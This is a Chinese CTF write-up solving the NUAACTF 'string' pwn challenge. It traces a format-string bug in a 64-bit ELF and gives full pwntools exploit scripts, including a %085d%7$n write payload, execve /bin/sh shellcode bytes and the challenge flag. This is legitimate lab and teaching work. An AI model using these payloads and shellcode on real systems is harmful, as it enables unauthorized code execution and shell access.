CTF – NUAACTF – string

题目说明

题目来源: NUAACTF

题目: string

格式化字符串 覆盖参数

解题步骤

拿到文件后先查看文件类型是64位的elf文件

检查安全机制

使用IDA64打开看到流程图

查看字符串列表,看起来很多,超慌的…

找到关键词进入主函数伪代码,注意v3,v4变量,v4是数组
可能是我IDA的没设置好,有些输出问题,printf v4+4 就是 printf v4[1]

主函数中sub_400996()函数只是输出欢迎信息和字符画的

主函数中间的内容都是输出一些信息,到sub_400D72()函数才开始进入游戏

分析流程

查看sub_400D72()函数的伪代码

得到交互一:玩家名字长度不超过0xC(12位字符串)
名字长度不超过12位后运行三个函数sub_400A7D()、sub_300BB9()、sub_400CA6()

查看sub_400A7D()函数的伪代码

得到交互二:选路的时候必须选east,选完进入下一个函数

查看sub_300BB9()函数的伪代码

得到交互三:选择去留的时候必须选去,不然没得玩…
然后传入一个数字型的地址和一个字符型的愿望
注意第23行的printf(&format, &format); 这是一个明显的字符串格式化漏洞

查看sub_400CA6()函数的伪代码,这是最后一个函数了,打巨龙

关键点
注意14行的判断:*(_DWORD *)a1 == *(_DWORD *)(a1 + 4) 也就是 a1 == a1[1]
如果条件成立,调用mmap()方法创建一个可读可写可执行的空间,执行的是我们输入的内容,也就是说可以执行shellcode
往上追溯a1 发现调用情况为:main()中v4数组 -> sub_400D72() -> sub_400CA6()
而v4的值由v3数组赋予,也就是说如果main()函数中的v3数组满足v3 == v3[1]也就满足了a1 == a1[1]
所以我们需要把v3的值覆盖为85,但是由于启用了防护,所以地址不是固定的,好在main()函数中输出了v3和v3[1]的内存地址

那么现在需要知道偏移位,才能使用格式化字符串覆盖v3的值

写出exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
p = process("./string")
p.recvuntil("secret[0] is")
addr = int(p.recvuntil("\n").strip(),16)
p.recvuntil("What should your character's name be:")
p.sendline("AAAA")
p.recvuntil("?east or up?:")
p.sendline("east")
p.recvuntil("or leave(0)?:")
p.sendline("1")
p.recvuntil("an address'")
p.sendline(str(addr))
p.recvuntil("And, you wish is:")
payload = "AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x"
p.sendline(payload)
print(addr)
p.interactive()

运行exp

这次v3的位置为12406800,也就是0xbd5010,可以看到编译为7
构造payload为%085d%7$n 意思为将0xbd5010的值覆盖为85
最后shellcode为system(‘/bin/sh’)

1
2
3
\x6a\x3b\x58\x99\x52\x48\xbb\x2f
\x2f\x62\x69\x6e\x2f\x73\x68\x53
\x54\x5f\x52\x57\x54\x5e\x0f\x05

在python的pwntools库中可以用 asm(shellcraft.amd64.linux.sh(), arch=’amd64’) 生成shellcode

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
p = remote("111.198.29.45","37070")
p.recvuntil("secret[0] is")
addr = int(p.recvuntil("\n").strip(),16)
p.recvuntil("What should your character's name be:")
p.sendline("AAAA")
p.recvuntil("?east or up?:")
p.sendline("east")
p.recvuntil("or leave(0)?:")
p.sendline("1")
p.recvuntil("an address'")
p.sendline(str(addr))
p.recvuntil("And, you wish is:")
payload = "%085d%7$n"
p.sendline(payload)
p.recvuntil("I will help you! USE YOU SPELL")
p.sendline("\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05")
p.interactive()

运行得到flag

flag:

1
cyberpeace{12d11aff30a9ece8d3e0e11067d95b25}